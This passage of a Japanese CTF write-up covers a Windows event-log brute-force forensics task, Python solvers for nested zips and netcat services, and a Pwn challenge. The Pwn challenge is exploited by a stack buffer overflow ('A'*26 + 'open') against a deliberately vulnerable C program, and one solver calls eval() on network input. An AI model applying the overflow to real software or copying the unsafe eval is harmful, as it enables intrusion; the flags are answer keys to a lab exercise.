各端末から、どのようなイベントが発生しているのか確認をします。`10.1.2.105`から見てみます。

```console
┌──(vagrant㉿kali)-[/vagrant/Forensics/CSIRT_asks_you_01]
└─$ grep '"IpAddress">10.1.2.105</Data>' event.xml | awk -F'<EventID Qualifiers="">' '{print $2}' | awk -F'</EventID>' '{print $1}'
4624
4624
4648
4624
```

特に問題となるようなイベントはありませんでした。次に、`192.168.224.120`を確認します。

```console
┌──(vagrant㉿kali)-[/vagrant/Forensics/CSIRT_asks_you_01]
└─$ grep '"IpAddress">192.168.224.120</Data>' event.xml | awk -F'<EventID Qualifiers="">' '{print $2}' | awk -F'</EventID>' '{print $1}' | sort | uniq -c
      1 4624
   3881 4625
```

大量のログオン失敗ログが確認できました。ブルートフォースアタック等で不正にログインされたのだと思います。ログイン成功時のログを確認し、タイムスタンプを確認してフラグ形式にします。

```console
┌──(vagrant㉿kali)-[/vagrant/Forensics/CSIRT_asks_you_01]
└─$ grep '4624</EventID>' event.xml | grep '192.168.224.120' | xmllint --format -
<?xml version="1.0"?>
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"/>
    <EventID Qualifiers="">4624</EventID>
    <Version>2</Version>
    <Level>0</Level>
    <Task>12544</Task>
    <Opcode>0</Opcode>
    <Keywords>0x8020000000000000</Keywords>
    <TimeCreated SystemTime="2021-07-18 20:09:21.904846"/>
    <EventRecordID>11874</EventRecordID>
    <Correlation ActivityID="{38c95613-7bec-0001-4956-c938ec7bd701}" RelatedActivityID=""/>
    <Execution ProcessID="604" ThreadID="4852"/>
    <Channel>Security</Channel>
    <Computer>stella-pc</Computer>
    <Security UserID=""/>
  </System>
  <EventData>
    <Data Name="SubjectUserSid">S-1-0-0</Data>
    <Data Name="SubjectUserName">-</Data>
    <Data Name="SubjectDomainName">-</Data>
    <Data Name="SubjectLogonId">0x0000000000000000</Data>
    <Data Name="TargetUserSid">S-1-5-21-3590118637-3649102893-3870174881-1002</Data>
    <Data Name="TargetUserName">test</Data>
    <Data Name="TargetDomainName">STELLA-PC</Data>
    <Data Name="TargetLogonId">0x000000000076ba89</Data>
    <Data Name="LogonType">3</Data>
    <Data Name="LogonProcessName">NtLmSsp </Data>
    <Data Name="AuthenticationPackageName">NTLM</Data>
    <Data Name="WorkstationName">lizardface</Data>
    <Data Name="LogonGuid">{00000000-0000-0000-0000-000000000000}</Data>
    <Data Name="TransmittedServices">-</Data>
    <Data Name="LmPackageName">NTLM V2</Data>
    <Data Name="KeyLength">128</Data>
    <Data Name="ProcessId">0x0000000000000000</Data>
    <Data Name="ProcessName">-</Data>
    <Data Name="IpAddress">192.168.224.120</Data>
    <Data Name="IpPort">0</Data>
    <Data Name="ImpersonationLevel">%%1833</Data>
    <Data Name="RestrictedAdminMode">-</Data>
    <Data Name="TargetOutboundUserName">-</Data>
    <Data Name="TargetOutboundDomainName">-</Data>
    <Data Name="VirtualAccount">%%1843</Data>
    <Data Name="TargetLinkedLogonId">0x0000000000000000</Data>
    <Data Name="ElevatedToken">%%1843</Data>
  </EventData>
</Event>

```

#### フラグ

```none
flag{2021/07/18_20:09:21_4624}
```

#### 参考情報

https://qiita.com/kasanma3104/items/6971d3e7d09de134da37

https://digitalforensic.jp/wp-content/uploads/2021/02/a930b3e0fadd66c4697717bf767b049c.pdf

https://www.jpcert.or.jp/present/2018/20171109codeblue2017_ja.pdf

https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4624

https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4625

## Programing

### ZZZIPPP

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/fdcecf71-cc37-9346-140e-54e8b1a4e914.png)

#### 攻略方法

問題文の通りzipファイルが入れ子になっているようです。

```console
┌──(vagrant㉿kali)-[/vagrant/Programing/ZZZIPPP]
└─$ zipinfo flag1000.zip
Archive:  flag1000.zip
Zip file size: 171803 bytes, number of entries: 1
-rw-r--r--  3.0 unx   171631 bx stor 21-Aug-01 06:00 flag999.zip
1 file, 171631 bytes uncompressed, 171631 bytes compressed:  0.0%
```

以下のスクリプトを書いてフラグを取得しました。

```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from tqdm import tqdm
import zipfile

dir = "./extract/"

for i in tqdm(reversed([i for i in range(1,1000 + 1)])):
    with zipfile.ZipFile(f'{dir}flag{i}.zip') as f:
        f.extractall(dir)
```

```console
┌──(vagrant㉿kali)-[/vagrant/Programing/ZZZIPPP]
└─$ ./solver.py
1000it [00:07, 126.17it/s]

┌──(vagrant㉿kali)-[/vagrant/Programing/ZZZIPPP]
└─$ cat extract/flag.txt
flag{loop-zip-1989-zip-loop}
```

#### フラグ

```none
┌──(vagrant㉿kali)-[/vagrant/Programing/ZZZIPPP]
└─$ cat extract/flag.txt
flag{loop-zip-1989-zip-loop}
```

### echo_me

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/b0d32f5e-e401-685d-4c2f-fce793e12a85.png)

#### 攻略方法

アクセスをして確認してい見ます。

```console
user@b6e47d7eb2cf:~$ nc 10.1.1.10 12020
==========
echo me: 30897486
==========
30897486
Correct!

==========
echo me: 70505204
==========
70505204
Correct!

==========
echo me: 97784017
==========
97784017
Correct!

==========
echo me: 63349654
==========
```

出力された数値を入力すれば良さそうです。以下のプログラムを書いて、フラグを取得しました。

```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import socket

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('10.1.1.10', 12020))

while True:
    s = client.recv(1024)
    print(s)
    if 'flag' in str(s):
        break
    for line in str(s).split('¥n'):
        if 'echo' in line:
            n = line.split(':')[1].strip().split('\\')[0]
            n += '\n'
            client.send(bytes(n, 'ascii'))
```

```console
user@b6e47d7eb2cf:~$ ./solver.py 

<snip>

b'Correct!\n\nflag{Hellow_yamabiko_Yoo-hoo!}\n'
user@b6e47d7eb2cf:~$ 
```

#### フラグ

```none
flag{Hellow_yamabiko_Yoo-hoo!}
```

### EZZZIPP

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/a42ff7cb-a35a-cc8f-02f4-e8ecfa3f3bf0.png)

#### 攻略方法

先ほどと同様ですが、今度はパスワード付きみたいです。

```console
┌──(vagrant㉿kali)-[/vagrant/Programing/EZZZIPPP]
└─$ ls -ltr
total 760
-rw-r--r-- 1 vagrant vagrant     11 Aug  1 22:27  pass.txt
-rw-r--r-- 1 vagrant vagrant 382628 Aug  1 22:27  flag1000.zip
```

`pass.txt`を読み込んで、解答するようにプログラミングしました。

```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from tqdm import tqdm
import zipfile

dir = "./extract/"

for i in tqdm(reversed([i for i in range(1,1000 + 1)])):
    with open(f'{dir}pass.txt') as f:
        password = f.read().strip()

    with zipfile.ZipFile(f'{dir}flag{i}.zip') as f:
        f.extractall(dir, pwd=bytes(password, 'ascii'))
```

時間はかかりましたが、フラグを取得できました。

```console
┌──(vagrant㉿kali)-[/vagrant/Programing/EZZZIPPP]
└─$ time ./solver.py
1000it [04:17,  3.89it/s]

┌──(vagrant㉿kali)-[/vagrant/Programing/EZZZIPPP]
└─$ cat extract/flag.txt
flag{bdf574f15645df736df13daef06128b8}
```

#### フラグ

```none
flag{bdf574f15645df736df13daef06128b8}
```

### deep_thought

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/c6507101-a6b5-aba5-36ac-31954a8f5fc6.png)

#### 攻略方法

`echo_me`と似ていますが、今度は計算問題のようです。

```console
user@b6e47d7eb2cf:~$ nc 10.1.1.10 12010
[ Q1 ]
3 + 4
7
Correct!

[ Q2 ]
4 - 2
2
Correct!

[ Q3 ]
9 + 4
```

おそらく四則演算だけだと思うのですが、判定が面倒なので`eval()`を使ってプログラミングします。

```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import socket

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('10.1.1.10', 12010))

while True:
    s = client.recv(1024)
    print(s)
    if 'flag' in str(s):
        break
    for line in str(s).split('\\n'):
        for l in line.split("b'"):
            if not l.strip():
                continue
            print('l: ', l)
            if '+' in line or '-' in line or '*' in line or '/' in line:
                n = str(l).strip().split('\\')[0]
                a = str(eval(n))
                a += '\n'
                client.send(bytes(a, 'ascii'))
```

つくったPythonスクリプトを実行して、フラグを取得できました。

```console
user@b6e47d7eb2cf:~$ ./solver.py 

<snip>

b'Correct!\n\nflag{__42__}\n'
user@b6e47d7eb2cf:~$ 
````

#### フラグ

```none
flag{__42__}
```

## Pwn

### tkys_let_die

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/8cc1c4e9-c29b-03a4-d03a-3371159b97f5.png)

#### 攻略方法

添付ファイルを解答すると、実行ファイルとソースコードがありました。

```console
┌──(vagrant㉿kali)-[/vagrant/Pwn/tkys_let_die]
└─$ file gate*
gate:   ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e9d7ef71659ad8874194e92264ffdadac305c962, for GNU/Linux 3.2.0, not stripped
gate.c: C source, ASCII text, with CRLF line terminators
```

ソースコードを確認します。

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void printFlag(void) {
    system("/bin/cat ./flag");
}

int main(void) {
    char gate[6]="close";
    char name[16]="..";
    printf("\n");
    printf("                                  {} {}\n");
    printf("                          !  !  ! II II !  !  !\n");
    printf("                       !  I__I__I_II II_I__I__I  !\n");
    printf("                       I_/|__|__|_|| ||_|__|__|\\_I\n");
    printf("                    ! /|_/|  |  | || || |  |  |\\_|\\ !\n");
    printf("        .--.        I//|  |  |  | || || |  |  |  |\\\\I        .--.\n");
    printf("       /-   \\    ! /|/ |  |  |  | || || |  |  |  | \\|\\ !    /=   \\\n");
    printf("       \\=__ /    I//|  |  |  |  | || || |  |  |  |  |\\\\I    \\-__ /\n");
    printf("        }  {  ! /|/ |  |  |  |  | || || |  |  |  |  | \\|\\ !  }  {\n");
    printf("       {____} I//|  |  |  |  |  | || || |  |  |  |  |  |\\\\I {____}\n");
    printf(" _!__!__|= |=/|/ |  |  |  |  |  | || || |  |  |  |  |  | \\|\\=|  |__!__!_\n");
    printf(" _I__I__|  ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\\||- |__I__I_\n");
    printf(" -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-\n");
    printf("  |  |  |  || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||  |  |  |\n");
    printf("  |  |  |= || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |\n");
    printf("  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |\n");
    printf("  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||- |  |  |\n");
    printf(" _|__|__|  ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_||  |__|__|_\n");
    printf(" -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-\n");
    printf("  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |\n");
    printf(" ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~\n");
    printf("\n");

    printf("You'll need permission to pass. What's your name?\n> ");
    scanf("%32[^\n]", name);
    if (strcmp(gate,"open")==0) {
        printFlag();
    }else{
        printf("Gate is %s.\n", gate);
        printf("Goodbay %s.\n", name);
    }
    return 0;
}
```

`gate`変数を`close`から`open`に変更できればよさそう。

```console
┌──(vagrant㉿kali)-[/vagrant/Pwn/tkys_let_die]
└─$ python -c "print('A' * 8)" | ./gate

<snip>

You'll need permission to pass. What's your name?
> Gate is close.
Goodbay AAAAAAAA.
```

短い入力の場合は、上記の通りそのまま値が出力されてましたが、27文字入力した時点で出力が変わり、バッファオーバーフローが成立しました。

```console
┌──(vagrant㉿kali)-[/vagrant/Pwn/tkys_let_die]
└─$ python -c "print('A' * 27)" | ./gate

<snip>

You'll need permission to pass. What's your name?
> Gate is A.
Goodbay AAAAAAAAAAAAAAAAAAAAAAAAAAA.
```

26文字目まで適当に埋めて、そこから`open`を入力するとフラグが取得できました。

```console
user@6d3ed48b7aef:~$ python -c "print('A'*26 + 'open')" | nc 10.1.1.10 13020

<snip>

You'll need permission to pass. What's your name?
> 
 =============================

     GREAT! GATE IS OPEN!!

 >> Flag is flag{Alohomora} <<

    *-*-*-*-*-*-*-*-*-*-*-*   

 =============================

user@6d3ed48b7aef:~$ 
```

#### フラグ

```none
flag{Alohomora}
```